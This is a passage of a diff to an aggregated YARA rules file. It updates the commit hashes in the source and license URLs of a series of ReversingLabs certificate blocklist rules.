 		logic_hash = "0bb14ececa3a78e1a2e71cfdee8bc57678251b15151d156ef5fa754b2438ee35"
 		score = 75
 		quality = 90
@@ -21456,8 +21509,8 @@ rule REVERSINGLABS_Cert_Blocklist_50D08F3C9Bf86Fba52Cf592B4Fe6Eacf : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14932-L14948"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14932-L14948"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ca613e4b45b9bb1ef7564b9fc6321bccc0f683298de692a3db2bf841db9010ef"
 		score = 75
 		quality = 90
@@ -21481,8 +21534,8 @@ rule REVERSINGLABS_Cert_Blocklist_7C7Fc3616F3157A28F702Cc1Df275Dcd : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14950-L14966"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14950-L14966"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "c2dcea21c7a3e3aef6408f11c23edbce6d8f655f298654552a607a9b0caabb28"
 		score = 75
 		quality = 90
@@ -21506,8 +21559,8 @@ rule REVERSINGLABS_Cert_Blocklist_73Ed1B2F4Bf8Dd37A8Ad9Bb775774592 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14968-L14984"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14968-L14984"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "69865935e07ea255a5d690e170911b33574ea61550b00bebc2ceff91ba9a33da"
 		score = 75
 		quality = 90
@@ -21531,8 +21584,8 @@ rule REVERSINGLABS_Cert_Blocklist_211B5Dfe65Bc6F34Bc9D3A54 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14986-L15002"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14986-L15002"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "cf2e4c0dd98efb77c28b63641196c83e60afc0d6ab64802743c351581506dbb5"
 		score = 75
 		quality = 90
@@ -21556,8 +21609,8 @@ rule REVERSINGLABS_Cert_Blocklist_5400D1C1406528B1Ef625976 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15004-L15020"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15004-L15020"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "fbdd37e050d68c4287e897f050a673aea071df105a35b07475d3233da3f03feb"
 		score = 75
 		quality = 90
@@ -21581,8 +21634,8 @@ rule REVERSINGLABS_Cert_Blocklist_013472D7D665557Bfa0Dc21B350A361B : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15022-L15038"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15022-L15038"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ab908ef0fca56753bcba8bc85e2fdf5859b4e226c179ec5c6eb6eb3dc4014a8e"
 		score = 75
 		quality = 90
@@ -21606,8 +21659,8 @@ rule REVERSINGLABS_Cert_Blocklist_66C758A22Bfbbce327616815616Ddd07 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15040-L15056"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15040-L15056"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "37f0f64e2d84ef6591e1f07a05abca35b37827d26c828269fb5f38d8546a60a7"
 		score = 75
 		quality = 90
@@ -21631,8 +21684,8 @@ rule REVERSINGLABS_Cert_Blocklist_E61B0366D940896430Bcfe3E93Baac5B : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15058-L15076"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15058-L15076"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "1b1fd0c2237446ab22c7359d1e89d822a4b9b6ad345447740154d7d52635c2ea"
 		score = 75
 		quality = 90
@@ -21656,8 +21709,8 @@ rule REVERSINGLABS_Cert_Blocklist_6294B8Acc35Dea7D32A95Ac5D4536F8F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15078-L15094"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15078-L15094"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ac92ff8e533121071a620ca5280ae66629576f9c4af9831ddac5bb487e4348af"
 		score = 75
 		quality = 90
@@ -21681,8 +21734,8 @@ rule REVERSINGLABS_Cert_Blocklist_485E4626C32493C16283Cfd9E30D17Ad : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15096-L15112"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15096-L15112"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "faf860786e8473493d24abf6e61cf0b906e98d786516be6d2098181368214020"
 		score = 75
 		quality = 90
@@ -21706,8 +21759,8 @@ rule REVERSINGLABS_Cert_Blocklist_D0312F9177Cd46B943Df3Ef22Db4608B : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15114-L15132"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15114-L15132"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2eb955e91c927980cee031c6284e48bad315e891c32cdaf41b844090e841c44d"
 		score = 75
 		quality = 90
@@ -21731,8 +21784,8 @@ rule REVERSINGLABS_Cert_Blocklist_202702 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15134-L15150"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15134-L15150"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "bc097e97c1c4c4a71cbf66be811636fecfa23682cb2cc47ab1fcd680a646fb14"
 		score = 75
 		quality = 90
@@ -21756,8 +21809,8 @@ rule REVERSINGLABS_Cert_Blocklist_369A02E5D90B2649040E7F87 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15152-L15168"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15152-L15168"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "e2a2e231914f166410580a42ca9d4aac18c5cba94d1f11d22e7acd6d375851d8"
 		score = 75
 		quality = 90
@@ -21781,8 +21834,8 @@ rule REVERSINGLABS_Cert_Blocklist_60497070Ff4A83Bc87Bdea24Da5B431D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15170-L15186"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15170-L15186"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "30998e3f5299a37cdee83b1232249b84dbb3c154ef99237da5ce1b16f9db5da3"
 		score = 75
 		quality = 90
@@ -21806,8 +21859,8 @@ rule REVERSINGLABS_Cert_Blocklist_0A333E : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15188-L15204"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15188-L15204"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f76d21e0ae2cf9b28825c813fc509d533c10aba38f8f0c2884365047c1272c1f"
 		score = 75
 		quality = 90
@@ -21831,8 +21884,8 @@ rule REVERSINGLABS_Cert_Blocklist_1Cb6519B2528D006D1Da987153Dad2B3 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15206-L15222"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15206-L15222"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "776402fc3a7de4843373bc1981f965fe9c2a9f1fe2374b142a96952fd05a591b"
 		score = 75
 		quality = 90
@@ -21856,8 +21909,8 @@ rule REVERSINGLABS_Cert_Blocklist_621E696C3A6371E77A678Cbf0Ee34Ab2 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15224-L15240"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15224-L15240"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "67c9fd92681d6dd1172509113e167e74e07f1f86fd62456758b3e3930180b528"
 		score = 75
 		quality = 90
@@ -21881,8 +21934,8 @@ rule REVERSINGLABS_Cert_Blocklist_21B991 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15242-L15258"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15242-L15258"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "54ca9b19adfc9357a3fb74f0670ad929319c4d06a7de7ae400f8285a31052276"
 		score = 75
 		quality = 90
@@ -21906,8 +21959,8 @@ rule REVERSINGLABS_Cert_Blocklist_1Cc37De5Dbed097F98F56Dbc : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15260-L15276"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15260-L15276"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "a2d04275b9fe37308c8f1dca75f4cc3c4a8985930f901e1f46e3ddc2977eea32"
 		score = 75
 		quality = 90
@@ -21931,8 +21984,8 @@ rule REVERSINGLABS_Cert_Blocklist_50F66Ab0D7Ed19B69D48F635E69572Fa : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15278-L15294"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15278-L15294"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "28f71c0572e769d4a0cb289071912bc79cddfd98a3a8161c5400c7bee7090bf5"
 		score = 75
 		quality = 90
@@ -21956,8 +22009,8 @@ rule REVERSINGLABS_Cert_Blocklist_11212F502836A784752160351Defb136Cf09 : INFO FI
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15296-L15312"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15296-L15312"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "63d4c1aaafdf6de14d0ae78035644cf6b0fefab8b0063d2566ca38af9f9498d2"
 		score = 75
 		quality = 90
@@ -21981,8 +22034,8 @@ rule REVERSINGLABS_Cert_Blocklist_2C16Be9A7Ce2A23Ab7A4B4Eb7Da3400C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15314-L15330"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15314-L15330"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "917f324cbe91718efc9b2f41ef947fa8f1a501dde319936774d702d57b1e6b37"
 		score = 75
 		quality = 90
@@ -22006,8 +22059,8 @@ rule REVERSINGLABS_Cert_Blocklist_22Accad235Fb1Ac7422Ebe5Ea7Ac9Bc5 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15332-L15348"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15332-L15348"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "b348c502aeae036f6d17283260ed4479427f89c8c25f2b6d59e137e90694dbe4"
 		score = 75
 		quality = 90
@@ -22031,8 +22084,8 @@ rule REVERSINGLABS_Cert_Blocklist_4D29757C4Fbfc32B97091D96E3723002 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15350-L15366"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15350-L15366"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "78ede4b02cb1b07500cd0c4f1f33da598938940d0f58430edda00d79b19b16a5"
 		score = 75
 		quality = 90
@@ -22056,8 +22109,8 @@ rule REVERSINGLABS_Cert_Blocklist_3A949Ef03D9Dd2D150B24B274Ff6D7B4 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15368-L15384"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15368-L15384"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "88c63a921a300e1b985d084c3ab1a2485713b4c674dafd419d092e5562f121d7"
 		score = 75
 		quality = 90
@@ -22081,8 +22134,8 @@ rule REVERSINGLABS_Cert_Blocklist_954D0577D5Ce8999E0387A5364829F66 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15386-L15404"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15386-L15404"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "84ddc08a0a55200f644778a0e3482f15e82d74c524f12a7ad91b1c3d4acfc731"
 		score = 75
 		quality = 90
@@ -22106,8 +22159,8 @@ rule REVERSINGLABS_Cert_Blocklist_Df5121Dc99D1Ab6B7E5229F6832123Ef : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15406-L15424"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15406-L15424"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "3b5e5b81890f1dea3dc0858cade54e7f88a21861818be79c3e7fba066f80d491"
 		score = 75
 		quality = 90
@@ -22131,8 +22184,8 @@ rule REVERSINGLABS_Cert_Blocklist_760Cef386B63406751Ae83A9Eae92342 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15426-L15442"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15426-L15442"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "43b56736afe081a1215db67b933413d7fbafbfc1be8213b330668578921ebca7"
 		score = 75
 		quality = 90
@@ -22156,8 +22209,8 @@ rule REVERSINGLABS_Cert_Blocklist_5C2625Fa836A64F4882C56Cc7A45F0Ed : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15444-L15460"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15444-L15460"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "85e187684d62c33ef6f69323b837ef2d44facab8278b512d7bd6afd49eaed976"
 		score = 75
 		quality = 90
@@ -22181,8 +22234,8 @@ rule REVERSINGLABS_Cert_Blocklist_7Df6Fa580F84493C414Ee0E431086737 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15462-L15478"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
